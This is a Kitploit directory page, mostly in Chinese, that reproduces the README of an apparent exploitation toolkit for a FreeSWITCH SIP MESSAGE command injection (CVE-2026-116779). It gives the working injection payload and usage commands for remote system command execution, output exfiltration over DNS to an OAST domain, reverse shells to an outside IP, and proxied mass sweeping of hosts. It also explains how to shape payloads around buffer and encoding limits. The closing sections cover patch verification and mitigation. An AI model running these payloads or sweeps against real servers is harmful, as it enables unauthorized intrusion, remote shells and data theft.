Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
freeswitch-cve-2026-116779-POC — Detection and exploitation toolkit for the FreeSWITCH SIP MESSAGE command injection (CVE-2026-116779), with API execution, DNS OAST shell output, reverse shells, and host sweeping. | Kitploit
工具/GitHubGitHub/hackzuoji/freeswitch-cve-2026-116779-poc
ReconnaissanceVulnerability ScannersPayload GenerationExploitationWeb Application ExploitationData ExfiltrationNetwork SecurityPenetration TestingRemote Access Tool
分享
GitHubhackzuoji/freeswitch-cve-2026-116779-poc

freeswitch-cve-2026-116779-POC

Detection and exploitation toolkit for the FreeSWITCH SIP MESSAGE command injection (CVE-2026-116779), with API execution, DNS OAST shell output, reverse shells, and host sweeping.

查看仓库
21412天前尚未审核

fscve — FreeSWITCH CVE-2026-116779 工具集

English | 简体中文

针对 CVE-2026-116779 的检测与利用工具:FreeSWITCH 处理入站 SIP MESSAGE 时可被诱导选用 api chat 协议,进而触达 switch_api_execute(),形成未授权命令执行。

CVE      CVE-2026-116779(GHSA-mg63-h38w-8p9p)
类型     CWE-78 操作系统命令注入
CVSS     9.8(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
影响     FreeSWITCH < 1.11.3
修复     1.11.3(新增 enable-chat-api-proto 开关,默认关闭,命中回 403)

仅可用于自有资产或已获明确授权的测试环境。

原理

sofia_presence_handle_sip_i_message() 把入站 MESSAGE 的 To 用户部分 按 + 切开,左侧直接当作 chat 协议名,没有任何白名单:

/* sofia_presence.c:4869-4877 */
if ((p = strchr(to_user, '+')) && p != to_user) {
    switch_copy_string(proto, to_user, sizeof(proto));   /* char proto[512] */
    p = strchr(proto, '+');
    *p++ = '\0';                                          /* proto = "api" */
}
/* sofia_presence.c:5013 */
switch_core_chat_send(proto, event);

mod_dptools 注册了名为 api 的 chat 接口,其处理函数把剩余地址做 URL 解码 后交给 FreeSWITCH API 调度器:

/* mod_dptools.c:6486 */
SWITCH_ADD_CHAT(chat_interface, "api", api_chat_send);
/* mod_dptools.c:4700-4707 */
switch_url_decode(cmd);
if ((arg = strchr(cmd, ' '))) *arg++ = '\0';
switch_api_execute(cmd, arg, NULL, &stream);

因此下面这一条报文,等价于以守护进程身份执行 system id:

To: <sip:api+system%20id@target>

安装

git clone https://github.com/hackzuoji/freeswitch-cve-2026-116779-POC.git
cd fscve
pip install -e .

运行时无第三方依赖,仅用标准库。

用法

# 检测
fscve detect -t 10.0.0.5
fscve detect -t 10.0.0.5:5080 --udp
fscve detect -t 10.0.0.5 --user 1000 --password 1234 --json

# 执行 FreeSWITCH API
fscve api -t 10.0.0.5 --user 1000 --password 1234 "sofia status profile internal"

# 执行系统命令并回读输出(hex 编码走 DNS 标签)
fscve shell -t 10.0.0.5 --user 1000 --password 1234 "id"
fscve shell -t 10.0.0.5 --zone abc123.your-oast.example "hostname"

# 反连(bash / nc / python3 三引擎分三条消息发送)
fscve rev -t 10.0.0.5 --user 1000 --password 1234 203.0.113.9:4444

# 批量
fscve sweep -f hosts.txt --workers 16 --out results.jsonl
fscve sweep -f hosts.txt --proxy socks5://user:[email protected]:1080

判定值:ACCEPTED(api 协议可达,需带外确认执行)、PATCHED(403 已修复)、 AUTH-REQ(需要 digest 凭据)、UNREACHABLE(无响应)。

为什么 payload 长这样

四条约束,均在真实 1.10.x 上验证过:

  1. + 会被改写:mod_sofia 会把 To 用户里第一个残留的 + 变成 @, 所以命令中的 + 必须编码为 %2B;空格必须是 %20, 因为 switch_url_decode() 不把 + 当空格。
  2. char proto[512]:To 用户被拷进 512 字节缓冲区并静默截断, 整条编码后命令需控制在约 500 字节内(MAX_TO_USER)。 长任务请拆成"先下载脚本再执行"两步。
  3. 管道只作用于最后一条命令:echo a; echo b | od 会丢掉 a。 命令和退出码必须先用子 shell 包起来再接管道: ( cmd ; echo " rc=$?" ) | od ...。
  4. DNS 名称大小写不敏感:收集端会把标签转小写,base64 必然损坏, 因此改用十六进制;63 字节的标签只能承载约 30 字节输出, 所以示例里都带 head -c 28。

另外:switch_core_chat_send() 是异步入队(CHAT_MAX_MSG_QUEUE=101, 线程按需扩容),sofia 立刻回 202。所以 2xx 不能证明命令执行, 只有带外回调算数;"注入 sleep 再测下一条"的时间差方法同样无效。

验证修复

  • fscve detect 在 1.11.3+ 上返回 PATCHED(403)。
  • 修复版日志会出现: Profile [name] rejected a MESSAGE from ... addressed to the 'api' chat proto [...]
  • 配置检查:enable-chat-api-proto 保持关闭;不要设置 disable-auth-messages。

缓解

  1. 升级到 1.11.3+。
  2. 保持 MESSAGE 认证开启,清理出厂目录口令(1000–1019 / 1234)。
  3. 不使用时 <param name="enable-chat" value="false"/>。
  4. 5060 仅对可信来源开放(ACL / SBC)。
  5. 禁止以 root 运行 FreeSWITCH。

测试

python -m pytest

全部离线运行,依赖 tests/mock_freeswitch.py(实现了 401 挑战、digest 校验 与 api+ 执行桩)。

参考

  • 安全公告 — https://github.com/signalwire/freeswitch/security/advisories/GHSA-mg63-h38w-8p9p
  • 修复提交 — https://github.com/signalwire/freeswitch/commit/7015f6a73ab3d67fed5fbfc277ecfb88a74c2a86
  • 1.11.3 版本 — https://github.com/signalwire/freeswitch/releases/tag/v1.11.3

许可

MIT,见 LICENSE。

下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

暂无热门数据。

探索所有工具

浏览我们的工具集合

查看所有工具 →